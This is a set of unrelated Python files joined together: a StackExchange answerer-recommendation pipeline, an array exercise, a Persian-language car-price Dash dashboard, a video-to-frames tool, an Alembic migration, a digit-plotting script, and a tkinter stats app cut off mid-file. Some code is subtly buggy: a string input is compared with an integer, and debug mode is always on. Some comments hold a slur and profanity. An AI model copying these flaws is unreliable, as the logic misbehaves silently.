## Loading library

import numpy as np
import pandas as pd
import tqdm

from cdlib import algorithms as al, ensemble as en, evaluation as ev, viz
import networkx as nx

## Defining the deporal descounting function

def temporal_dis(df,dis_cond):

    TempDis_df = df.copy()

    ### Hyperbolic discounting
    if (dis_cond == 'hypb_dis'):
        TempDis_df['Ans_Cnt_Wt'] = 1/(1+TempDis_df['Months_Post'])
        TempDis_df['Ans_Scr_Wt'] = TempDis_df['A_Scr']/(1+TempDis_df['Months_Post'])

    ### exponential discounting
    elif (dis_cond == 'exp_dis'):
        TempDis_df['Ans_Cnt_Wt'] = 1/(np.exp(TempDis_df['Months_Post']))
        TempDis_df['Ans_Scr_Wt'] = TempDis_df['A_Scr']/(np.exp(TempDis_df['Months_Post']))

    return TempDis_df

def month_diff(a, b):
    return 12 * (a.dt.year - b.dt.year) + (a.dt.month - b.dt.month)

## defing the training dataset
def train_dat(year1,year2,post_df):
    AAAI_df = post_df[(post_df['CreationDate'] > year1) & (post_df['CreationDate'] < year2)].reset_index(drop=True)

    arr_slice = AAAI_df[['OwnerUserId']].values
    unq,unqtags,counts = np.unique(arr_slice.astype(str),return_inverse=True,return_counts=True)
    AAAI_df['Ttl_Posts'] = counts[unqtags]
    AAAI_df['A_Scr'] = AAAI_df.Score.astype(str).astype(int)

    AAAI_df = AAAI_df[AAAI_df['Ttl_Posts'] > 4].reset_index(drop=True)

    return AAAI_df

#### Defining TAG graph
def Tag_Graph(TagPair_df,Date1,Date2,t_sup):

    df = TagPair_df.loc[(TagPair_df['CreationDate'] >  Date1) &
                         (TagPair_df['CreationDate'] <  Date2)]

    df = df.reset_index(drop=True)

    arr_slice = df[['Tag-Pair']].values
    unq,unqtags,counts = np.unique(arr_slice.astype(str),return_inverse=True,return_counts=True)
    df['Tag-Pair_Qcnt'] = counts[unqtags]

    ##### Keeping the TAG-pairs where number of questions are above a threshold
    df = df.loc[(df['Tag-Pair_Qcnt'] >= t_sup)]
    df = df.reset_index(drop=True)

    Ttl_num_ques = df.Id.nunique()
    Sample_num_ques = df.Id.nunique()

    graph_df = df[['Uni_Tag_x','Uni_Tag_y','Tag-Pair_Qcnt']].drop_duplicates(keep='first')
    graph_df.columns = ['source', 'target','weight']
    g = nx.Graph()
    #defining the weighted network
    g.add_weighted_edges_from(graph_df[['source', 'target', 'weight']].values)

    return g,df

def comm_map(g,coms):

    degree_cen = nx.degree_centrality(g)
    btw_cen = nx.betweenness_centrality(g)
    degr  = pd.DataFrame(nx.degree(g))

    # mapping the Tags with identified topics
    com_map=pd.DataFrame(coms.to_node_community_map()).T
    com_map = com_map.rename_axis('User_Id').reset_index()
    com_map.columns = ['Tag', 'Comm']

    degr.columns = ['Tag', 'Deg']
    d_cen = pd.DataFrame(degree_cen.items(), columns=['Tag', 'DegCentrality'])
    b_cen = pd.DataFrame(btw_cen.items(), columns=['Tag', 'BtwCentrality'])

    com_map = pd.merge(com_map,degr, how = 'left',left_on = 'Tag',right_on = 'Tag')
    com_map = pd.merge(com_map,d_cen, how = 'left',left_on = 'Tag',right_on = 'Tag')
    com_map = pd.merge(com_map,b_cen, how = 'left',left_on = 'Tag',right_on = 'Tag')

    com_map = com_map.sort_values(['Comm', 'Deg','BtwCentrality'], ascending=[True, False, False])

    df_com = com_map.copy()

    arr_slice = df_com[['Comm']].values
    unq,unqtags,counts = np.unique(arr_slice.astype(str),return_inverse=True,return_counts=True)
    df_com["Ttl_Tags"] = counts[unqtags]

    # getting the final Topics
    df_com["Sr_No"] = df_com.groupby("Comm")["Deg"].rank(method="first", ascending=False)
    df_com = df_com.loc[df_com['Sr_No'] <2].reset_index()

    return com_map,df_com

def commTAG_df(grph_df,train_dat,com_map,com_df):

    graph_df_x = grph_df[['Id','Uni_Tag_x']].drop_duplicates()
    graph_df_x.columns = ['Q_Id','Tags']
    graph_df_y = grph_df[['Id','Uni_Tag_y']].drop_duplicates()
    graph_df_y.columns = ['Q_Id','Tags']

    TAG_Qdf = graph_df_x.append(graph_df_y).drop_duplicates().reset_index(drop=True)

    arr_slice = TAG_Qdf[['Q_Id']].values
    unq,unqtags,counts = np.unique(arr_slice.astype(str),return_inverse=True,return_counts=True)
    TAG_Qdf['N_Tags'] = counts[unqtags]

    comm_TAG_df = pd.merge(TAG_Qdf,com_map.iloc[:,[0,1]],how = 'left', left_on='Tags',right_on = 'Tag')
    comm_TAG_df = comm_TAG_df.drop('Tag', 1)
    comm_TAG_df = pd.merge(comm_TAG_df,com_df.iloc[:,[1,2]],how = 'left', left_on='Comm',right_on = 'Comm')

    comm_Q_df = comm_TAG_df.filter(items=['Q_Id','N_Tags','Tag'])
    comm_Q_df.columns = ['Q_Id','N_Tags','Tags']
    commTag_Q_df = comm_Q_df.value_counts(['Q_Id','N_Tags','Tags']).reset_index(name='N_CTag')

    TAG_Adf = train_dat[(train_dat['PostTypeId'] == '2') & (train_dat['A_Scr'] > 0)].reset_index(drop=True)
    TAG_Adf = TAG_Adf.filter(items=['Id', 'CreationDate','A_Scr','OwnerUserId','ParentId'])

    TAG_QnAdf = pd.merge(TAG_Adf,commTag_Q_df,how = 'left',left_on='ParentId',right_on='Q_Id')
    TAG_QnAdf = TAG_QnAdf[-TAG_QnAdf.Q_Id.isnull()]

    TAG_QnAdf['wt_Cnt'] = TAG_QnAdf['N_CTag']/TAG_QnAdf['N_Tags']
    TAG_QnAdf['wt_A_Scr'] = TAG_QnAdf['A_Scr']*TAG_QnAdf['wt_Cnt']

    return TAG_QnAdf

### Returns User activity - temporal discounted on each topic

def comm_Udf(Tag_df,present_dt,temp_dis_type):

    TAG_Udf = Tag_df.copy()
    TAG_Udf['U_Tag'] = TAG_Udf['OwnerUserId'] + TAG_Udf['Tags']

    arr_slice = TAG_Udf[['U_Tag']].values
    unq,unqtags,counts = np.unique(arr_slice.astype(str),return_inverse=True,return_counts=True)
    TAG_Udf['Ttl_Ans'] = counts[unqtags]
    TAG_Udf['wt_Ttl_Ans'] = TAG_Udf['wt_Cnt'].groupby(TAG_Udf['U_Tag']).transform('sum')

    TAG_Udf['ref_date'] = pd.Timestamp(present_dt)
    TAG_Udf['Months_Post'] = month_diff(TAG_Udf['ref_date'], TAG_Udf['CreationDate'])
    TAG_Udf['Days_Ans'] = (TAG_Udf['ref_date'] -  TAG_Udf['CreationDate']).dt.days#.astype('timedelta64[h]')

    TAG_U_TempD_df = temporal_dis(TAG_Udf,temp_dis_type)

    TAG_U_TempD_df['AC_Wt'] = TAG_U_TempD_df['Ans_Cnt_Wt'].groupby(TAG_U_TempD_df['U_Tag']).transform('sum')
    TAG_U_TempD_df['wt_Ans_Cnt_Wt'] = TAG_U_TempD_df['wt_Cnt']/(1+TAG_U_TempD_df['Months_Post'])

    ## Temporal weighted score for each user on the Topic
    TAG_U_TempD_df['wt_AC_Wt'] = TAG_U_TempD_df['wt_Ans_Cnt_Wt'].groupby(TAG_U_TempD_df['U_Tag']).transform('sum')

    TAG_df = TAG_U_TempD_df.filter(items=['OwnerUserId','Tags','Ttl_Ans','AC_Wt',
                                  'wt_Ttl_Ans','wt_AC_Wt']).drop_duplicates()

    return TAG_df

from surprise import SVD
from surprise import NMF
from surprise import accuracy
from surprise import Dataset
from surprise.model_selection import train_test_split
from surprise import Reader#, evaluate#, print_perf

def NMF_Model(train_df,criteria,nfactors):

    TAG_df = train_df.filter(items=['OwnerUserId','Tags',criteria])
    TAG_df.columns = ['OwnerUserId','Tags','Rating']
    x, y = TAG_df.Rating.min(), TAG_df.Rating.max()

    # A reader is still needed but only the rating_scale param is requiered.
    reader = Reader(rating_scale=(x, y))

    # The columns must correspond to user id, item id and ratings (in that order).
    data = Dataset.load_from_df(TAG_df[['OwnerUserId','Tags','Rating']], reader)

    algo = NMF(n_factors =nfactors, reg_pu=0.01,reg_qi=0.01)

    # retrain on the whole set
    trainset = data.build_full_trainset()
    algo.fit(trainset)

    TAG_df['AU_Id'] = TAG_df['OwnerUserId'].apply(lambda x: trainset.to_inner_uid(x))
    TAG_df['Tag_Id'] = TAG_df['Tags'].apply(lambda x: trainset.to_inner_iid(x))

    prediction = pd.DataFrame(np.dot(algo.pu, algo.qi.T))

    return TAG_df,trainset,prediction

def comm_testDf(start,end,train_df,com_map,df_com,post_dat):

    test_df = post_dat[(post_dat['CreationDate'] > start) & (post_dat['CreationDate'] < end)].reset_index(drop=True)

    testQdf = test_df[test_df['PostTypeId'] == '1'].reset_index(drop=True)
    testQdf = testQdf[testQdf['AcceptedAnswerId'].notnull()]
    testQdf = testQdf.filter(items=['Id','Tags','AcceptedAnswerId'])

    testQdf['N_Tags'] = testQdf.Tags.str.count("<")
    testQdf.Tags = testQdf.Tags.apply(lambda x: x.replace('<',''))
    testQdf = testQdf.drop('Tags', axis=1).join(testQdf['Tags'].str.split('>', expand=True).stack().reset_index(level=1, drop=True).rename('Tags'))
    testQdf = testQdf.loc[testQdf['Tags'] != '']

    comm_test_df = pd.merge(testQdf,com_map.iloc[:,[0,1]],how = 'left', left_on='Tags',right_on = 'Tag')
    comm_test_df = comm_test_df.drop('Tag', 1)
    comm_test_df = pd.merge(comm_test_df,df_com.iloc[:,[1,2]],how = 'left', left_on='Comm',right_on = 'Comm')
    comm_test_df = comm_test_df[comm_test_df['Tag'].notnull()]
    comm_test_df = comm_test_df[comm_test_df.Tags.isin(train_df.Tags)]
    comm_test_df = comm_test_df.value_counts(['Id','AcceptedAnswerId','Tag','N_Tags']).reset_index(name='N_CTag')
    comm_test_df.columns = ['Id','AcceptedAnswerId','Tags','N_Tags','N_CTag']
    comm_test_df['CTag_wt'] = comm_test_df['N_CTag']/comm_test_df['N_Tags']

    testAdf = test_df[test_df['PostTypeId'] == '2'].reset_index(drop=True)
    testAAdf = testAdf[testAdf['Id'].isin(testQdf.AcceptedAnswerId)]
    testAAdf = testAAdf[testAAdf['OwnerUserId'] != '']
    testAAdf = testAAdf[testAAdf['OwnerUserId'].isin(train_df.OwnerUserId)]
    testAAdf = testAAdf.filter(items=['Id','OwnerUserId','ParentId'])
    testAAdf.columns = ['A_Id','OwnerUserId','ParentId']

    testAAdf_U = pd.merge(comm_test_df,testAAdf,how='left',left_on='AcceptedAnswerId',right_on='A_Id')
    testAAdf_U = testAAdf_U[testAAdf_U.A_Id.notnull()]

    return testAAdf_U

#####

def commMF_eval_MatrixApp(test_df,train_df,trainset,prediction):

    tag_df = test_df.copy()
    tag_df['Tags_Id'] = tag_df['Tags'].apply(lambda x: trainset.to_inner_iid(x))
    tag_df['AU_Id'] = tag_df['OwnerUserId'].apply(lambda x: trainset.to_inner_uid(x))
    tag_df['AU_Ind'] = 1

    pivt_Usr_tag_df = tag_df[['Id','AU_Id','AU_Ind']]

    all_Users = pd.DataFrame(prediction.index.values)
    all_Users['Id'] = -9
    all_Users['AU_Ind'] = 0
    all_Users.columns = ['AU_Id','Id','AU_Ind']

    pivt_allUsr_tag_df = pivt_Usr_tag_df.append(all_Users)

    Usr_Ind = pd.pivot_table(pivt_allUsr_tag_df,values = 'AU_Ind', index=['Id'], columns = 'AU_Id',fill_value=0)
    Usr_Ind = Usr_Ind.iloc[1:,:]

    pivt_Topic_df = tag_df[['Id','Tags_Id','CTag_wt']]

    all_Topics = pd.DataFrame(prediction.columns.values)
    all_Topics['Id'] = -9
    all_Topics['CTag_wt'] = 0
    all_Topics.columns = ['Tags_Id','Id','CTag_wt']

    pivt_allTopic_df = pivt_Topic_df.append(all_Topics)

    Q_Topic_mat = pd.pivot_table(pivt_allTopic_df, values = 'CTag_wt', index=['Id'], columns = 'Tags_Id').fillna(0)
    Q_Topic_mat = Q_Topic_mat.iloc[1:,:]
    Q_U_mat = Q_Topic_mat.dot(prediction.T)
    Q_U_rank_mat = Q_U_mat.rank(axis = 1, ascending = False).astype(int)

    Q_U_rank = Q_U_rank_mat.mul(Usr_Ind)
    Q_U_rank["Rank"] = Q_U_rank.sum(axis=1)

    Q_U_rank['wt_RR'] = 1/Q_U_rank['Rank']
    Q_U_rank['wt_Prec_at_5'] = np.where(Q_U_rank['Rank'] < 6, 1, 0) #### Change for Precision measure at any n
    Q_U_rank['wt_Prec_at_10'] = np.where(Q_U_rank['Rank'] < 11, 1, 0) #### Change for Precision measure at any n

    wt_MRR = round(Q_U_rank['wt_RR'].mean(),4)
    wt_Prec = round(Q_U_rank['wt_Prec_at_5'].mean(),4)
    wt_HIT = round(Q_U_rank['wt_Prec_at_10'].mean(),4)

    return wt_MRR, wt_Prec, wt_HIT

#### MAIN

t = input("Enter the CQA folder downloaded from SE archieve (example-askubuntu.com)")

print("StackExchange Community:",t)

### Getting the post history data
post_dat = pd.read_feather('PreprocessedData/{}_Posts.ft'.format(t))
post_dat['CreationDate'] =  pd.to_datetime(post_dat['CreationDate'], format='%Y-%m-%dT%H:%M:%S.%f')
post_dat['Post_Year'] = post_dat['CreationDate'].dt.year

### Getting the TAG graph data
TagCnt_Pair = pd.read_feather('PreprocessedData/{}_TagCnt_Pair.ft'.format(t))
TagCnt_Pair['CreationDate'] =  pd.to_datetime(TagCnt_Pair['CreationDate'], format='%Y-%m-%dT%H:%M:%S.%f')

##### GRAPH TIME PERIOD
### enter the graph start date
G_date1 = '2015-01-01'

start_date = input("Enter start date (example-'2015-01-01')")
end_date = input("Enter end date (example-'2019-05-01')")

q_dat = post_dat[-post_dat.AcceptedAnswerId.isna()].reset_index(drop=True)
q_dat = q_dat[(q_dat['CreationDate'] > start_date) & (q_dat['CreationDate'] < end_date)].reset_index(drop=True)
q_dat = q_dat[['Id','CreationDate','OwnerUserId','Tags','AcceptedAnswerId']]
q_dat.columns= ['Q_Id','Q_Date','Q_UserId','Tags','AcceptedAnswerId']
### date split - Train, Test data
date_split = q_dat.Q_Date.quantile(0.8)
print('date split - Train, Test data:',date_split)

### enter the temporal discouting type
temp_dis_typ = 'hypb_dis'

train_df = train_dat(start_date,date_split,post_dat)

##### Minimum edge weight for defining TAG graph
t_sup = 5

g,graph_df = Tag_Graph(TagCnt_Pair,G_date1,date_split,t_sup)
coms = al.louvain(g)
CD_algo = 'louvain'
com_map_dat,dat_com = comm_map(g,coms)

# TOPIC MODEL DATA
comm_model_df = commTAG_df(graph_df,train_df,com_map_dat,dat_com)
comm_model_Udf = comm_Udf(comm_model_df,date_split,temp_dis_typ)

TopCommMF_n_users = comm_model_Udf.OwnerUserId.nunique()
TopCommMF_n_tags = comm_model_Udf.Tags.nunique()
TopCommMF_n_ratings = comm_model_Udf.shape[0]

nfac = 10 ## NUMBER OF LATENT FACTORS for Matrix Factorisation

#### CRITERIA :
################ 'wt_Ttl_Ans', 'wt_AC_Wt'

temporal_ind = input("Input 1 for temporal discounting and 0 for ranking without temporal discounts")
if temporal_ind == 1:
    crt = 'wt_AC_Wt'
else:
    crt = 'wt_Ttl_Ans'

##### Matrix factorisation
comm_Model_Tag_df,comm_trainset,comm_prediction = NMF_Model(comm_model_Udf,crt,nfac)

### Test data and evaluation
comm_eval_df = comm_testDf(date_split,end_date,comm_Model_Tag_df,com_map_dat,dat_com,post_dat)
Topic_MRR, Topic_Prec5, Topic_Prec10 = commMF_eval_MatrixApp(comm_eval_df,comm_Model_Tag_df,comm_trainset,comm_prediction)

print('MRR:',Topic_MRR,
     'Prec@5:',Topic_Prec5,
     'Prec@10:',Topic_Prec10)


import random as rnd
import lib.list_functions as lfunc

def sum_of_inbetweens(arr: list):
    sum_val = 0
    index_0 = -1
    index_1 = -1

    for c in range(len(arr)):
        if arr[c] > 0 and index_0 == -1:
            index_0 = c

        if arr[c] > 0 and index_0 != -1:
            index_1 = c

    start = (index_0 if index_0 < index_1 else index_1) + 1
    stop = index_1 if index_1 > index_0 else index_0

    for c in range(start, stop):
        sum_val += arr[c]

    return sum_val

def zero_first_sort(arr: list):
    zeros = [i for i in arr if i == 0]
    not_zeros = [i for i in arr if i != 0]

    return zeros + not_zeros

def main():
    n = int(input("Enter the amount of numbers [n value]: "))
    zeros_amount = rnd.randint(-1, n // 2) + 1

    if n <= 0:
        print("n value must be greater than 0")
        return

    arr = [round(rnd.uniform(-100, 100), 2) for i in range(n)]

    for i in range(zeros_amount):
        arr[rnd.randint(0, n - 1)] = 0

    print("[")
    for elem in arr:
        print("    ", elem, sep="")
    print("]")

    print("Min", lfunc.min(arr), "at", lfunc.min_index(arr))
    print("Sum of inbetweens", sum_of_inbetweens(arr))
    print("Zeros first sorted array:", zero_first_sort(arr))

if __name__ == "__main__":
    main()


import dash
import dash_core_components as dcc
import dash_html_components as html
import pandas as pd
import plotly.express as px
import plotly.graph_objs as go
from dash.dependencies import Input, Output

from load_data import get_dataframe

df = get_dataframe()

# remove fucking spam posts
df.drop(df[df.price > 10000000].index, inplace=True)
tdf = df[['state', 'price']].groupby('state').mean()

def model_brand_df():
    dd = df.groupby(['model', 'manufacturer'], as_index=False).count().sort_values('Unnamed: 0')
    dd.rename(columns={'Unnamed: 0': 'count'}, inplace=True)
    return dd[dd['count'] > 2000]

def count_by_manufacturer(ddf):
    dic = ddf.groupby('manufacturer').count()['Unnamed: 0'].to_dict()
    return {'x': list(dic.keys()), 'y': list(dic.values())}

external_stylesheets = ['static/app.css']

app = dash.Dash(__name__, external_stylesheets=external_stylesheets)
app.title = 'داشبرد تحلیلی خودرو'

wk_days = [
    'monday',
    'tuesday',
    'wednesday',
    'thursday',
    'friday',
    'saturday',
    'sunday',
]

def generate_submission_choro(states):
    tdf = df
    if states:
        tdf = tdf[tdf.state.apply(lambda x: x.upper() in states)]

    return {
        'data': [
            {**count_by_manufacturer(tdf), 'type': 'bar', 'name': 'SF'},
        ],
        'layout': {
            'title': 'تعداد آگهی‌های ثبت شده به ازای هر تولید‌کننده'
        }
    }

def generate_submission_time_hm(states):
    hm = []
    ddf = df
    if states:
        ddf = df[df.state.apply(lambda x: x.upper() in states)]

    for i in range(24):
        hm_df = ddf[ddf.hour == i].groupby('day').count()['image_url']
        hm.append(hm_df)

    hm_df = pd.concat(hm, axis=1)

    y = list(wk_days)

    trace = dict(
        type="heatmap",
        z=hm_df.to_numpy(),
        x=list(f"{i}:00" for i in range(24)),
        y=y,
        colorscale=[[0, "#71cde4"], [1, "#ecae50"]],
        reversescale=True,
        showscale=True,
        xgap=2,
        ygap=2,
        colorbar=dict(
            len=0.7,
            ticks="",
            title="Submissions",
            titlefont=dict(family="Gravitas One", color="#515151"),
            thickness=15,
            tickcolor="#515151",
            tickfont=dict(family="Open Sans, sans serif", color="#515151"),
        ),
    )

    title = f'زمان ارسال آگهی در ایالات {states} بر حسب روز و ساعت'

    layout = dict(
        title=dict(
            text=title,
            font=dict(family="Open Sans, sans-serif", size=15, color="#515151"),
        ),
        font=dict(family="Sahel, Open Sans, sans-serif", size=13),
        automargin=True,
        dir='rtl',
    )

    return {"data": [trace], "layout": layout}

def generate_odometer_price_sctr(model):
    return {
        'data': [dict(
            x=df[df.model == model].odometer,
            y=df[df.model == model].price,
            mode='markers+line'
        )],
        'layout': dict(
            title=dict(
                text='قیمت / کارکرد',
                font=dict(family="Open Sans, sans-serif", size=15, color="#515151"),
            ),
            font=dict(family="Sahel, Open Sans, sans-serif", size=13),
            automargin=True,
            dir='rtl',
        )
    }

app.layout = html.Div(className='container', children=[
    html.Div(id='head-row', children=[
        html.H1(children='داشبرد تحلیلی بازار خودرو آمریکا', dir='rtl'),
        html.H4(children='بر اساس داده‌ی منتشر شده از سایت CraigsList', dir='rtl'),
        html.A(dir='rtl', target='_blank', href='/static/blog.html', children=html.H5(children='توضیحات بیشتر در بلاگ')),
    ]),
    dcc.Loading(children=dcc.Graph(id='submission_count')),
    html.Div(
        id="top-row",
        className="row",
        children=[
            html.Div(
                id="map_geo_outer",
                className="six columns",
                # avg arrival/dep delay by destination state
                children=dcc.Loading(children=dcc.Graph(id="choropleth", figure={"data": [go.Choropleth(
                    locations=list(tdf.index.str.upper()),  # Spatial coordinates
                    z=list(tdf['price'].astype(float)),  # Data to be color-coded
                    locationmode='USA-states',  # set of locations match entries in `locations`
                    colorscale='Reds',
                    colorbar_title="USD",
                )], "layout": dict(
                    title=dict(
                        text='میانگین قیمت بر حسب ایالت',
                        font=dict(family="Open Sans, sans-serif", size=15, color="#515151"),
                    ),
                    margin=dict(l=20, r=20, b=20, pad=5),
                    automargin=False,
                    clickmode="event+select",
                    geo=go.layout.Geo(
                        scope="usa", projection=go.layout.geo.Projection(type="albers usa")
                    ),
                )})),
            ),
            html.Div(
                dir='rtl',
                className='six columns',
                id="dropdown-select-outer",
                children=[
                    html.Div(
                        [
                            html.P("نوع خودرو را انتخاب کنید"),
                            dcc.Loading(children=dcc.Dropdown(
                                id="dropdown-select",
                                options=[
                                    {'label': str(model), 'value': str(model)} for model in list(df.model.unique())
                                ],
                                value=list(df.model.unique())[0],
                            )),
                        ],
                        className="selector",
                    ),
                    html.Div(
                        id="bottom-row",
                        className="twelve columns",
                        children=[
                            html.Div(
                                id='sctr_outer',
                                children=dcc.Loading(children=dcc.Graph(id='odometer_price_sctr'))
                            )
                        ]
                    )
                ],
            ),
        ],
    ),
    html.Div(
        id="mid-row",
        className="row",
        children=[
            html.Div(
                id="submissions_by_day_hm_outer",
                className="six columns",
                children=dcc.Loading(children=dcc.Graph(id="submission_time_hm")),
            ),
            html.Div(
                id="models_by_brand_sunburst",
                className="six columns",
                children=[
                    dcc.Loading(children=dcc.Graph(id="model_by_brand", figure=px.sunburst(
                        model_brand_df(),
                        path=['manufacturer', 'model'],
                        values='count',
                    )))],
            ),
        ],
    ),
])

@app.callback(
    Output('odometer_price_sctr', 'figure'),
    [Input("dropdown-select", "value")]
)
def update_sctr(model):
    return generate_odometer_price_sctr(model)

@app.callback(
    Output("submission_time_hm", "figure"),
    [Input("choropleth", "clickData"), Input("choropleth", "figure")],
)
def update_hm(choro_click, choro_figure):
    if choro_click is not None:
        states = []
        for point in choro_click["points"]:
            states.append(point["location"])

        return generate_submission_time_hm(states)
    else:
        return generate_submission_time_hm([])

@app.callback(
    Output("submission_count", "figure"),
    [Input("choropleth", "clickData"), Input("choropleth", "figure")],
)
def update_choro(choro_click, choro_figure):
    if choro_click is not None:
        states = []
        for point in choro_click["points"]:
            states.append(point["location"])
            return generate_submission_choro(states)
    else:
        return generate_submission_choro([])

if __name__ == '__main__':
    import os
    app.run_server(debug=True or os.environ.get('DEBUG', 'False').lower() == 'true')


# -*- coding: utf-8 -*-
"""
Created on Sun Jan  6 14:41:16 2019

@author: E442282
"""

import argparse
import sys
import cv2
import os

def getzoomout(image):

    row, col= image.shape[:2]
    bordersize=100
    border=cv2.copyMakeBorder(image, top=bordersize, bottom=bordersize, left=bordersize,
                              right=bordersize, borderType= cv2.BORDER_CONSTANT,
                              value=[0,255,0] )
    return border

def video2images(inputvideofile,outputimagesfolder):
       vidcap = cv2.VideoCapture(inputvideofile)
       returnvalue,image = vidcap.read() #returns true/false and an image
       count = 0
       while returnvalue:
         returnvalue,image = vidcap.read()
         if returnvalue==False:
             break
         filename=os.path.join(outputimagesfolder,"image%d.jpg" % count)
#         image=getzoomout(image)
         cv2.imwrite(filename, image)     # save frame as JPEG/png file
         print('Read next frame: ', returnvalue)
         cv2.imshow('video',image)

         if (cv2.waitKey(1) & 0xFF) == ord('q'): # Hit `q` to exit\
             break

         count += 1
       vidcap.release()
       cv2.destroyAllWindows()
       print('\nCompleted Saving video frames to',outputimagesfolder)

def main(argv):
   ap = argparse.ArgumentParser()
   ap.add_argument("-i", "--input", required=True,  help="Input video file ")
   ap.add_argument("-o", "--output", required=False, default='.', help="output images directory")
   args = vars(ap.parse_args())

   inputvideofile = args['input']
   outputimagesfolder = args['output']

#   inputvideofile = 'popeye3.mp4'
#   outputimagesfolder=r' C:\SAI\IIIT\2019_Spring\images'
   video2images(inputvideofile,outputimagesfolder)

if __name__ == "__main__":
   main(sys.argv[1:])


"""users

Revision ID: ecd26b70c923
Revises: 4c3ae4a9abc1
Create Date: 2023-07-10 18:49:50.609928

"""
from alembic import op
import sqlalchemy as sa

# revision identifiers, used by Alembic.
revision = 'ecd26b70c923'
down_revision = '4c3ae4a9abc1'
branch_labels = None
depends_on = None

def upgrade() -> None:
    # ### commands auto generated by Alembic - please adjust! ###
    op.create_table('user',
    sa.Column('id', sa.UUID(), nullable=False),
    sa.Column('email', sa.String(), nullable=False),
    sa.Column('hashed_password', sa.String(), nullable=False),
    sa.Column('fio', sa.String(), nullable=False),
    sa.Column('is_active', sa.Boolean(), nullable=False),
    sa.Column('is_verified', sa.Boolean(), nullable=False),
    sa.Column('is_superuser', sa.Boolean(), nullable=False),
    sa.PrimaryKeyConstraint('id')
    )
    op.create_index(op.f('ix_user_email'), 'user', ['email'], unique=True)
    op.create_index(op.f('ix_user_id'), 'user', ['id'], unique=False)
    op.create_table('refresh_session',
    sa.Column('id', sa.Integer(), nullable=False),
    sa.Column('refresh_token', sa.UUID(), nullable=False),
    sa.Column('expires_in', sa.Integer(), nullable=False),
    sa.Column('created_at', sa.TIMESTAMP(timezone=True), server_default=sa.text('now()'), nullable=False),
    sa.Column('user_id', sa.UUID(), nullable=False),
    sa.ForeignKeyConstraint(['user_id'], ['user.id'], ondelete='CASCADE'),
    sa.PrimaryKeyConstraint('id')
    )
    op.create_index(op.f('ix_refresh_session_id'), 'refresh_session', ['id'], unique=False)
    op.create_index(op.f('ix_refresh_session_refresh_token'), 'refresh_session', ['refresh_token'], unique=False)
    # ### end Alembic commands ###

def downgrade() -> None:
    # ### commands auto generated by Alembic - please adjust! ###
    op.drop_index(op.f('ix_refresh_session_refresh_token'), table_name='refresh_session')
    op.drop_index(op.f('ix_refresh_session_id'), table_name='refresh_session')
    op.drop_table('refresh_session')
    op.drop_index(op.f('ix_user_id'), table_name='user')
    op.drop_index(op.f('ix_user_email'), table_name='user')
    op.drop_table('user')
    # ### end Alembic commands ###


import pandas as pd
import numpy as np
import os
from scipy import stats
import matplotlib.pyplot as plt

def to_print(data): #print 10 grayscale matrix

  for index in range(10):
    title = "class: "+ str(index)
    new_data = data[np.where(data[:,1] == index)]
    rows = np.size(new_data, 0)
    new_data[:,0] = np.arange(rows)
    selected = np.random.randint(0, rows, 1)
    chosed = new_data[selected[0],]
    matrix = np.reshape(chosed[2:], (-1, 28))
    plt.imshow(matrix, cmap="gray")
    plt.title(title)
    # plt.show()
    plt.savefig(os.sep.join([os.path.expanduser('~'), 'Desktop', str(index+10000)+'.png']))

def to_color(data):

  plt.clf()
  rows = np.size(data, 0)
  row_index = np.random.randint(0, rows, 1000)
  label = np.take(data[:,1], row_index)
  chosed_x = np.take(data[:,2], row_index)
  chosed_y = np.take(data[:,3], row_index)
  pic = plt.scatter(chosed_x, chosed_y, c = label)
  # plt.colorbar(pic)
  plt.title("1000 examples")
  # plt.show()
  plt.savefig(os.sep.join([os.path.expanduser('~'), 'Desktop', 'gg'+'.png']))

def main():

  np.random.seed(0)
  input_df = "digits-raw.csv"
  other_df = "digits-embedding.csv"
  df = pd.read_csv(input_df)
  df2 = pd.read_csv(other_df)
  data = df.values
  data2 = df2.values
  to_print(data)
  to_color(data2)

if __name__== "__main__":
  main()


print('Importing...')
import os
import sys
import sqlite3 as sql
from ttk import *
from tkinter import *
from tkinter import Button as TkButton
from tkinter import messagebox
from PIL.ImageTk import PhotoImage
print('Done.')

'''
retarded
'''

__author__ = 'retarded'

class player(object):

    '''player data container'''

    def __init__(self, name, slot):

        self.slot = slot
        self.kills = 0
        self.sds = 0
        self.games = 0
        #once all player classes have been instantiated,
        #have all player classes sync to create relative
        #kill variables

    def export(self):

        #export data to a file in the form of a dictionary
        pass

class Smash(Frame):

    '''the gooey bit'''

    def __init__(self, master):

        '''
        Initializes the gui by creating the main frame, calling the title
        screen and doing whatever background work.
        '''

        Frame.__init__(self, master)
        self.canvas = Canvas(master = self, width = 800, height = 600)
        self.canvas.pack()
        root.geometry('800x600+0+440')
        self.datahandler(init = True)
        self.titlescreen()

    def datahandler(self, init = False, namelist=False):

        '''Consider wrapping this in a class external to the GUI.'''

        originalpath = os.getcwd()
        class smashcontainer:

            pass

        def databasesearch():
            # seach cwd for correct file, maybe use a custom extension
            # for convenience
            # os.chdir('..') for wider search

            path = None
            for tuple in os.walk(os.getcwd()):
                for item in tuple[2]:
                    if item == 'smashdatabase.db':
                        path = tuple[0]
                        return path

        def database_skeleton():

            print('Creating stat skeleton...')
            skeleton = ('CREATE TABLE basic(Name text, Kills int)',
                        """INSERT INTO basic VALUES ('Matt', 0),
                                                    ('Karel', 0),
                                                    ('Kevin', 0)""")
            self.cur.execute(skeleton[0])
            self.cur.execute(skeleton[1])
            self.con.commit()
            print('Done.')

        def import_stats():

            pass

        if init:
            print('Looking for stats...')
            database_path = databasesearch()
            if not database_path:
                print('Stats not found.\n'\
                      'Creating stat database in {}...'.format(originalpath))
                self.con = sql.connect('smashdatabase.db')
                self.cur = self.con.cursor()
                database_skeleton()
            else:
                print('Stats found.')
                self.con = sql.connect('smashdatabase.db')
                self.cur = self.con.cursor()

        # to do:
        #   -prompt the user to find it themselves if autosearch fails or
        #    search with wider scope
        #   -create import functions for handling the demands of statdisplay
        #    and stat analysis

    def titlescreen(self):

        '''
        Main menu screen.
        Options:
            -display records
            -begin stat recording:
            -stat analysis
            -whatever
            -quit

        # unfocused color, focused text color: #040D24
        # focused color, unfocused text color: #FFCB00, #C89632
        # button widthxheight = 325x45
        # screen widthxheight = 800x600
        '''

        def button_highlight(event):
            event.widget.config(foreground = '#040D24',
                                background = '#FFCB00')
        def button_dehighlight(event):
            event.widget.config(foreground = '#C89632',
                                background = '#040D24')

        try: self.canvas.delete('all')
        except: pass

        self.titleimage = PhotoImage(file = 'titleimage.png')
        self.canvas.create_image((400, 300),
                                      image = self.titleimage)

        RecordingButton = TkButton(master = self,
                            text = 'Start Recording',
                            font = ('Helectiva', 20, 'bold'),
